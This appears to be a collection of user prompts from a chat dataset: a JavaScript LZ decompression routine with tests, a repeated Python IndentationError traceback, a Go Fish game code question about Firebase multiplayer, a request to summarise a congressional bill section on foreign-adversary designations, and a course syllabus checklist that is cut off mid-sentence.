dictSize = 3,\n numBits = 2,\n bytes = null,\n bytes\\_concat = null,\n result = new Uint8Array(\n getNextValue(0) \\* 0x40000000 +\n (getNextValue(1) << 15) +\n getNextValue(2)),\n result\\_index = 0,\n bits = 0,\n maxPower = 2,\n power = 0,\n data\\_val = getNextValue(3),\n data\\_position = 15,\n data\\_index = 4;\n\n // Get first token, guaranteed to be either\n // a new byte token or end of stream token.\n while (power < maxPower) {\n // shifting has precedence over bitmasking\n bits += (data\\_val >> --data\\_position & 1) << power++;\n if (data\\_position === 0) {\n data\\_position = 15;\n data\\_val = getNextValue(data\\_index++);\n }\n }\n\n if (bits === 1) {\n return null;\n }\n\n // else, get byte value\n bits = power = 0;\n while (power < 8) {\n // shifting has precedence over bitmasking\n bits += (data\\_val >> --data\\_position & 1) << power++;\n if (data\\_position === 0) {\n data\\_position = 15;\n data\\_val = getNextValue(data\\_index++);\n }\n }\n bytes = [bits];\n dictionary[2] = bytes;\n result[result\\_index++] = bits;\n\n // read rest of string\n while (data\\_index <= length) {\n // read out next token\n maxPower = numBits;\n bits = power = 0;\n while (power < maxPower) {\n // shifting has precedence over bitmasking\n bits += (data\\_val >> --data\\_position & 1) << power++;\n if (data\\_position === 0) {\n data\\_position = 15;\n data\\_val = getNextValue(data\\_index++);\n }\n }\n\n // 0 implies new byte\n if (!bits) {\n bits = power = 0;\n while (power < 8) {\n // shifting has precedence over bitmasking\n bits += (data\\_val >> --data\\_position & 1) << power++;\n if (data\\_position === 0) {\n data\\_position = 15;\n data\\_val = getNextValue(data\\_index++);\n }\n }\n dictionary[dictSize] = [bits];\n bits = dictSize++;\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n } else if (bits === 1) {\n // end of stream token\n return result;\n }\n\n if (bits > dictionary.length) {\n return null;\n }\n bytes\\_concat = bits < dictionary.length ? dictionary[bits] : bytes.concat(bytes[0]);\n for (let i = 0; i < bytes\\_concat.length; i++) {\n result[result\\_index++] = bytes\\_concat[i];\n }\n dictionary[dictSize++] = bytes.concat(bytes\\_concat[0]);\n bytes = bytes\\_concat;\n\n if (--enlargeIn === 0) {\n enlargeIn = 1 << numBits++;\n }\n\n }\n return null;\n}\n\nexport const LZ = {\n itou,\n utoi,\n compress,\n decompress\n};\n\nfunction testCompression(LZ) {\n console.log(\'Testing utoi/itou functions\');\n let utoiMismatches = [];\n for (let i = 0; i < 1 << 15; i++) {\n let j = LZ.utoi(LZ.itou(i).charCodeAt(0));\n if (i !== j) {\n utoiMismatches.push({ itou: i, utio: j });\n }\n }\n\n if (utoiMismatches.length) {\n console.log("Errors in itou/utoi conversion detected:", utoiMismatches);\n } else {\n console.log(\'No errors in itou/utoi conversion detected\');\n }\n\n let input = new Uint16Array(1 << 15);\n for (let i = 0; i < input.length; i++) {\n input[i] = i >> 4;\n }\n let inputUint8 = new Uint8Array(input.buffer);\n let compressed = LZ.compress(inputUint8);\n let decompressed = new Uint16Array(LZ.decompress(compressed).buffer);\n let mismatches = [];\n for (let i = 0; i < input.length; i++) {\n if (input[i] !== decompressed[i]) {\n mismatches.push({ index: i, input: input[i], decompressed: decompressed[i] });\n }\n }\n console.log({\n compressed,\n mismatches,\n length: compressed.length,\n inputLength: input.length,\n });\n}\n```' -'still error : PS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50397\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 108\n def speak\\_button\\_clicked():\nIndentationError: expected an indented block after \'except\' statement on line 105\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50409\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 108\n def speak\\_button\\_clicked():\nIndentationError: expected an indented block after \'except\' statement on line 105\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50423\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 108\n def speak\\_button\\_clicked():\nIndentationError: expected an indented block after \'except\' statement on line 105\nPS C:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App> c:; cd \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\'; & \'C:\\Program Files\\Python311\\python.exe\' \'c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher\' \'50434\' \'--\' \'c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py\' \nTraceback (most recent call last):\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 198, in \\_run\\_module\\_as\\_main\n return \\_run\\_code(code, main\\_globals, None,\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "C:\\Program Files\\Python311\\Lib\\runpy.py", line 88, in \\_run\\_code\n exec(code, run\\_globals)\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy\\\\_\\_main\\_\\_.py", line 39, in \n cli.main()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 430, in main\n run()\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\adapter/../..\\debugpy\\launcher/../..\\debugpy/..\\debugpy\\server\\cli.py", line 284, in run\\_file\n runpy.run\\_path(target, run\\_name="\\_\\_main\\_\\_")\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 320, in run\\_path\n code, fname = \\_get\\_code\\_from\\_file(run\\_name, path\\_name)\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\.vscode\\extensions\\ms-python.python-2023.4.0\\pythonFiles\\lib\\python\\debugpy\\\\_vendored\\pydevd\\\\_pydevd\\_bundle\\pydevd\\_runpy.py", line 294, in \\_get\\_code\\_from\\_file\n code = compile(f.read(), fname, \'exec\')\n ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n File "c:\\Users\\Dan.QTIS\\Desktop\\Dan\\All Projects Full\\Ai App\\main.py", line 109\n def speak\\_button\\_clicked():\nIndentationError: expected an indented block after \'except\' statement on line 105' -'How do I add multiplayer to my go fish web game using firebase? Here is some code from the game function shuffle(array) {\n let currentIndex = array.length, randomIndex;\n\n \n while (currentIndex != 0) {\n\n \n randomIndex = Math.floor(Math.random() \\* currentIndex);\n currentIndex--;\n\n \n [array[currentIndex], array[randomIndex]] = [\n array[randomIndex], array[currentIndex]];\n }\n\n return array;\n}\n function removeAllChildNodes(parent) {\n while (parent.firstChild) {\n parent.removeChild(parent.firstChild);\n }\n}\n let players = [{name:"Thomas", inventory:[],suitlessInventory:[],books:0,isBot:false}, {name:"Bot", inventory:[],suitlessInventory:[],books:0,isBot:true}]\n \n let curPlayerId = 0\n \n let currentTurn = 0\n let currentlySelectedCard = null\n const askbuttton = document.getElementById("askbuttonscontainer")\n const cardContanier = document.getElementById(\'cardContanier\')\n const suits = ["Clubs", "Diamonds", "Hearts", "Spades"]\n let cards\n const messageElement = document.getElementById(\'messagesUpdate\')\n let message = " "\n const curTurnLabel = document.getElementById("currentturn")\n const table = document.getElementById("bookCount")\n function UpdateMessageElement(){\n setTimeout(function(){messageElement.innerHTML = message},500)\n }\n function UpdateTable(){\n removeAllChildNodes(table)\n const defualtTr = document.createElement("tr")\n const books = document.createElement("td")\n books.innerHTML = "Books"\n const player = document.createElement("td")\n player.innerHTML = "Player"\n defualtTr.appendChild(player)\n defualtTr.appendChild(books)\n table.appendChild(defualtTr)\n\n for (var i = 0; i< players.length;i++){\n const tr = document.createElement("tr")\n\n const tdName = document.createElement("td")\n const tdBooks = document.createElement("td")\n tdName.innerHTML = players[i].name\n tdBooks.innerHTML = players[i].books\n tr.appendChild(tdName)\n tr.appendChild(tdBooks)\n table.appendChild(tr)\n }\n }\n setInterval(UpdateMessageElement,500)\n function UpdateUi(){\n const curPlayer = players[curPlayerId]\n curPlayer.inventory.sort((a,b)=>a.value-b.value)\n curPlayer.suitlessInventory.sort((a,b)=>a-b)\n removeAllChildNodes(cardContanier)\n for (var i = 0; i < curPlayer.inventory.length; i++){\n curCard = curPlayer.inventory[i];\n button = document.createElement("button");\n img = document.createElement(\'img\');\n suitLowered = curCard.suit.toLowerCase()\n img.src ="PNG-cards-1.3/" + curCard.value + "\\_of\\_" + suitLowered + ".png";\n img.className = "card"\n button.className = "cardButton"\n button.setAttribute(\'data-cardVal\', curCard.value);\n button.addEventListener("click",ShowAskOptions);\n button.appendChild(img);\n \n cardContanier.appendChild(button);\n }}\n function GameStart(){\n cards = [\n {\n "value": 1,\n "suit": "Clubs"\n },\n {\n "value": 2,\n "suit": "Clubs"\n },\n {\n "value": 3,\n "suit": "Clubs"\n },\n {\n "value": 4,\n "suit": "Clubs"\n },\n {\n "value": 5,\n "suit": "Clubs"\n },\n {\n "value": 6,\n "suit": "Clubs"\n },\n {\n "value": 7,\n "suit": "Clubs"\n },\n {\n "value": 8,\n "suit": "Clubs"\n },\n {\n "value": 9,\n "suit": "Clubs"\n },\n {\n "value": 10,\n "suit": "Clubs"\n },\n {\n "value": 11,\n "suit": "Clubs"\n },\n {\n "value": 12,\n "suit": "Clubs"\n },\n {\n "value": 13,\n "suit": "Clubs"\n },\n {\n "value": 1,\n "suit": "Diamonds"\n },\n {\n "value": 2,\n "suit": "Diamonds"\n },\n {\n "value": 3,\n "suit": "Diamonds"\n },\n {\n "value": 4,\n "suit": "Diamonds"\n },\n {\n "value": 5,\n "suit": "Diamonds"\n },\n {\n "value": 6,\n "suit": "Diamonds"\n },\n {\n "value": 7,\n "suit": "Diamonds"\n },\n {\n "value": 8,\n "suit": "Diamonds"\n },\n {\n "value": 9,\n "suit": "Diamonds"\n },\n {\n "value": 10,\n "suit": "Diamonds"\n },\n {\n "value": 11,\n "suit": "Diamonds"\n },\n {\n "value": 12,\n "suit": "Diamonds"\n },\n {\n "value": 13,\n "suit": "Diamonds"\n },\n {\n "value": 1,\n "suit": "Hearts"\n },\n {\n "value": 2,\n "suit": "Hearts"\n },\n {\n "value": 3,\n "suit": "Hearts"\n },\n {\n "value": 4,\n "suit": "Hearts"\n },\n {\n "value": 5,\n "suit": "Hearts"\n },\n {\n "value": 6,\n "suit": "Hearts"\n },\n {\n "value": 7,\n "suit": "Hearts"\n },\n {\n "value": 8,\n "suit": "Hearts"\n },\n {\n "value": 9,\n "suit": "Hearts"\n },\n {\n "value": 10,\n "suit": "Hearts"\n },\n {\n "value": 11,\n "suit": "Hearts"\n },\n {\n "value": 12,\n "suit": "Hearts"\n },\n {\n "value": 13,\n "suit": "Hearts"\n },\n {\n "value": 1,\n "suit": "Spades"\n },\n {\n "value": 2,\n "suit": "Spades"\n },\n {\n "value": 3,\n "suit": "Spades"\n },\n {\n "value": 4,\n "suit": "Spades"\n },\n {\n "value": 5,\n "suit": "Spades"\n },\n {\n "value": 6,\n "suit": "Spades"\n },\n {\n "value": 7,\n "suit": "Spades"\n },\n {\n "value": 8,\n "suit": "Spades"\n },\n {\n "value": 9,\n "suit": "Spades"\n },\n {\n "value": 10,\n "suit": "Spades"\n },\n {\n "value": 11,\n "suit": "Spades"\n },\n {\n "value": 12,\n "suit": "Spades"\n },\n {\n "value": 13,\n "suit": "Spades"\n }\n]\n shuffle(cards)\n for (var i = 0; i < players.length; i++) {\n curPlayer = players[i]\n Give(cards.splice(0,7),i)\n }\n curTurnLabel.innerHTML = "It is " + players[currentTurn].name + "\'s turn"\n UpdateTable()\n }\n function Give(toAdd,playerId){\n \n curPlayer = players[playerId]\n if (toAdd.length > 1) {\n for (var i = 0; i < toAdd.length; i++) {\n curPlayer.inventory.push(toAdd[i])\n curPlayer.suitlessInventory.push(toAdd[i].value)\n }\n } else {\n curPlayer.inventory.push(toAdd[0])\n curPlayer.suitlessInventory.push(toAdd[0].value)\n }\n \n for (var i = 0; i < toAdd.length; i++) {\n let drawnCard = toAdd[i]\n let countedOfDraw = curPlayer.suitlessInventory.filter(function(number) {return number === drawnCard.value;});\n \n if (countedOfDraw.length === 4){\n curPlayer.suitlessInventory = curPlayer.suitlessInventory.filter(function(number) {return number !== drawnCard.value;});\n curPlayer.inventory =curPlayer.inventory.filter(function(number) {return number.value !== drawnCard.value;});\n curPlayer.books++;\n UpdateTable()\n if (curPlayer.inventory.length ===0){\n message = curPlayer.name + " is out of the game"\n }\n }\n }' -"Summarize this section for me:\n\nSEC. 7. RESOLUTION OF DISAPPROVAL OF DESIGNATION OR REMOVAL OF \n DESIGNATION OF A FOREIGN ADVERSARY.\n\n (a) Definition.--In this section--\n (1) the term ``covered joint resolution'' means a joint \n resolution of disapproval of designation or a joint resolution \n of disapproval of removal of designation;\n (2) the term ``joint resolution of disapproval of \n designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the designation by the Secretary of Commerce of \\_\\_\\_ \n as a foreign adversary for purposes of the Securing the \n Information and Communications Technology and Services Supply \n Chain Act of 2023, and such designation shall have no force or \n effect until the Secretary of Commerce provides specific \n evidence to the relevant committees of Congress regarding the \n removal of designation under section 6(a) of that Act.'' (The \n blank space being appropriately filled in with the name of the \n foreign person of which the Secretary has designated as a \n foreign adversary of for purposes of this Act); and\n (3) the term ``joint resolution of disapproval of removal \n of designation'' means a joint resolution the matter after the \n resolving clause of which is as follows: ``That Congress \n disapproves the removal of designation by the Secretary of \n Commerce of \\_\\_\\_ as a foreign adversary for purposes of the \n Securing the Information and Communications Technology and \n Services Supply Chain Act of 2023, and such removal shall have \n no force or effect until the Secretary of Commerce provides \n specific evidence to the relevant committees of Congress \n regarding the removal of designation under section 6(a) of that \n Act.'' (The blank space being appropriately filled in with the \n name of the foreign government or regime of which the Secretary \n has removed the designation as a foreign adversary of for \n purposes of this Act).\n (b) Expedited Consideration of Legislation.--\n (1) Initiation.--In the event the Secretary designates a \n foreign government or regime as a foreign adversary or removes \n such designation as a foreign adversary, a joint resolution of \n disapproval of designation or a joint resolution of disapproval \n of removal of designation, as applicable, that is introduced \n during the 60-calendar day period thereafter shall be entitled \n to expedited consideration pursuant to this subsection.\n (2) Introduction.--During the 60-calendar day period \n provided for in paragraph (1), a covered joint resolution may \n be introduced--\n (A) in the Senate, by the Majority Leader (or the \n designee of the Majority Leader) or the Minority Leader \n (or the designee of the Minority Leader); and\n (B) in the House of Representatives, by the Speaker \n or the Minority Leader.\n (3) Floor consideration in house of representatives.--\n (A) Reporting and discharge.--If a relevant \n committee of the House to which a covered joint \n resolution has been referred has not reported such \n covered joint resolution within 10 legislative days \n after the date of referral, that committee shall be \n discharged from further consideration thereof.\n (B) Proceeding to consideration.--Beginning on the \n third legislative day after each committee to which \n covered joint resolution has been referred reports the \n covered joint resolution to the House or has been \n discharged from further consideration thereof, it shall \n be in order to move to proceed to consider the covered \n joint resolution in the House. All points of order \n against the motion are waived. Such a motion shall not \n be in order after the House has disposed of a motion to \n proceed on the covered joint resolution with regard to \n the same agreement. The previous question shall be \n considered as ordered on the motion to its adoption \n without intervening motion. The motion shall not be \n debatable. A motion to reconsider the vote by which the \n motion is disposed of shall not be in order.\n (C) Consideration.--The covered joint resolution \n shall be considered as read. All points of order \n against the covered joint resolution and against its \n consideration are waived. The previous question shall \n be considered as ordered on the covered joint \n resolution to final passage without intervening motion \n except 2 hours of debate equally divided and controlled \n by the sponsor of the covered joint resolution (or a \n designee) and an opponent. A motion to reconsider the \n vote on passage of the covered joint resolution shall \n not be in order.\n (4) Consideration in the senate.--\n (A) Committee referral.--A covered joint resolution \n introduced in the Senate shall be referred to the \n relevant committees of the Senate.\n (B) Reporting and discharge.--If a relevant \n committee of the Senate has not reported such covered \n joint resolution within 10 session days after the date \n of referral of such legislation, that committee shall \n be discharged from further consideration of such \n legislation and the covered joint resolution shall be \n placed on the appropriate calendar.\n (C) Proceeding to consideration.--Notwithstanding \n Rule XXII of the Standing Rules of the Senate, it is in \n order at any time after each committee authorized to \n consider covered joint resolution reports it to the \n Senate or has been discharged from its consideration \n (even though a previous motion to the same effect has \n been disagreed to) to move to proceed to the \n consideration of the covered joint resolution, and all \n points of order against covered joint resolution (and \n against consideration of the covered joint resolution) \n are waived. The motion to proceed is not debatable. The \n motion is not subject to a motion to postpone. A motion \n to reconsider the vote by which the motion is agreed to \n or disagreed to shall not be in order. If a motion to \n proceed to the consideration of the covered joint \n resolution is agreed to, the covered joint resolution \n shall remain the unfinished business until disposed of.\n (D) Debate.--Debate on covered joint resolution, \n and on all debatable motions and appeals in connection \n therewith, shall be limited to not more than 10 hours, \n which shall be divided equally between the majority and \n minority leaders or their designees. A motion to \n further limit debate is in order and not debatable. An \n amendment to, or a motion to postpone, or a motion to \n proceed to the consideration of other business, or a \n motion to recommit the covered joint resolution is not \n in order.\n (E) Vote on passage.--The vote on passage shall \n occur immediately following the conclusion of the \n debate on the covered joint resolution and a single \n quorum call at the conclusion of the debate, if \n requested in accordance with the rules of the Senate.\n (F) Rulings of the chair on procedure.--Appeals \n from the decisions of the Chair relating to the \n application of the rules of the Senate, as the case may \n be, to the procedure relating to a covered joint \n resolution shall be decided without debate.\n (G) Consideration of veto messages.--Debate in the \n Senate of any veto message with respect to a covered \n joint resolution, including all debatable motions and \n appeals in connection with such covered joint \n resolution, shall be limited to 10 hours, to be equally \n divided between, and controlled by, the Majority Leader \n and the Minority Leader or their designees.\n (5) Rules relating to senate and house of \n representatives.--\n (A) Coordination with action by other house.--If, \n before the passage by one House of a covered joint \n resolution of that House, that House receives a covered \n joint resolution from the other House, then the \n following procedures shall apply:\n (i) The covered joint resolution of the \n other House shall not be referred to a \n committee.\n (ii) With respect to covered joint \n resolution of the House receiving the \n legislation--\n (I) the procedure in that House \n shall be the same as if no covered \n joint resolution had been received from \n the other House; but\n (II) the vote on passage shall be \n on the covered joint resolution of the \n other House.\n (B) Treatment of a covered joint resolution of \n other house.--If one House fails to introduce a covered \n joint resolution under this section, the covered joint \n resolution of the other House shall be entitled to \n expedited floor procedures under this section.\n (C) Treatment of companion measures.--If, following \n passage of the covered joint resolution in the Senate, \n the Senate then receives a companion measure from the \n House of Representatives, the companion measure shall \n not be debatable.\n (c) Rules of Senate and House of Representatives.--Subsection (b) \nis enacted by Congress--\n (1) as an exercise of the rulemaking power of the Senate \n and the House of Representatives, respectively, and as such are \n deemed a part of the rules of each House, respectively, but \n applicable only with respect to the procedure to be followed in \n that House in the case of legislation described in those \n sections, and supersede other rules only to the extent that \n they are inconsistent with such rules; and\n (2) with full recognition of the constitutional right of \n either House to change the rules (so far as relating to the \n procedure of that House) at any time, in the same manner, and \n to the same extent as in the case of any other rule of that \n House.\n (d) Effect of Covered Joint Resolution.--\n (1) Joint resolutions of disapproval of designation.--A \n joint resolution of disapproval of designation that is enacted \n in accordance with this section shall remove the designation as \n a foreign adversary of a foreign government or regime that is \n the subject of the joint resolution of disapproval of \n designation for purposes of this Act.\n (2) Joint resolutions of disapproval of removal of \n designation.--A joint resolution of disapproval of removal of \n designation that is enacted in accordance with this section \n shall prohibit the removal of designation as a foreign \n adversary of a foreign government or regime that is the subject \n of the joint resolution of disapproval of removal of \n designation for purposes of this Act.1 / 1" -"Write a syllabus for the AI and marketing course. Follow this checklist:\nSYLLABUS CHECK-LIST (8/20/2020)\nI) GENERAL INFORMATION: UNIVERSITY & COURSE\n• University name, semester and year\n• Course number, title, section number, days, time (start and end), classroom location, credit hours.\nII) INSTRUCTOR CONTACT INFORMATION\n• Instructor name(s), title, office location, preferred mode of contact (phone, email, etc.) office hours.\nIII) COURSE SPECIFIC INFORMATION\n• Course Description: Provide description from the most recent LMU Bulletin.\n• Core and/or Flagged courses: If applicable, please indicate whether the course satisfies a\nCore attribute and/or flag.\n• Course Structure: Describe the modality of the course--in person\\*\\*, online (synchronous or asynchronous), or hybrid [please refer to the “High-Touch Teaching in a No-Touch World” document (https://academics.lmu.edu/cte/onlinehybridlearning/)].\n\\*\\*Note: All in-person courses and all in-person sessions from hybrid courses (some classes online and some in-person) will need to have a bimodal component. Examples of bimodal components include a simultaneous remote learning option for each in person class section via zoom and/or an equivalent asynchronous option (e.g., Echo 360 recordings, Brightspace assignments, etc.)\n• Instructions to Access Brightspace: Go to https://brightspace.lmu.edu, Enter your username and password, Click on your course title. If you have trouble logging in Brightspace, contact ITS Help Desk.) and list activities and materials that will be available through Brightspace (Echo 360/zoom lecture capture, course handouts, readings, discussion board, assignments, etc.). Ensure that your course modality can accommodate those students requiring a fully online experience for all or some portion of the semester as needed.\n• Learning Outcomes: Describe what students will know, be able to do, and value upon successful completion of thecourse.\n• Instructional Methods: Describe instructional methods such as lecture, discussion, problem-based learning, group work, projects, presentations, critiques, community- based learning, portfolios, etc. Address how this will apply to synchronous and asynchronous aspects.\n• Prerequisites (if any)\n• Required Text(s) and Other Required Learning Instruments, ( e.g. webtools for\nhomework assignments, subscriptions, etc.) (if any). Consult with library staff early in your course planning if you intend to adopt library resources or make course materials available through Reserves in the Library or Brightspace E-Reserve. To maximize affordability and accessibility for your students, please consider exploring adoption of course materials through the Open & Affordable Textbook Initiative.\n \n• Required Lab Fee(s) (if any): As discussed with Department Chair/Program Director, pursuant to College/School procedures or policies, if any, and as published in the Registrar’s Real-Time Schedule of Classes.\n• Assignments, including Readings, Projects (with grading rubrics, if available), etc.: In addition to identifying the nature of assignments indicate policies, including where the assignments will be posted, how the assignment due dates will be announced, how the assignments will be submitted.\n• Exams/Quizzes (if applicable): Give policy on missed exams or quizzes. Provide information on how the Final Exam will be administered (take home vs during the scheduled Final Exam date/time –available from the Registrar’s calendar). If you are planning to use Zoom or Respondus for the exams, provide students’ instructions about expectations and how to use these tools (for information on Respondus see: https://its.lmu.edu/whatwedo/instructionaltechnology/respondus/).\n• Work Load Expectations: Indicate the average minimal time students are expected to spend per week on class- related learning activities, and all substantial one-time activities (e.g., a weekend trip), in line with LMU’s Credit Hour Policy, see https://www.lmu.edu/media/lmuacademics/provost/documents/LMU%20Credit%20Hour% 20Policy\\_Final.pdf.\n• Grading Scheme: Be very specific regarding the components of the 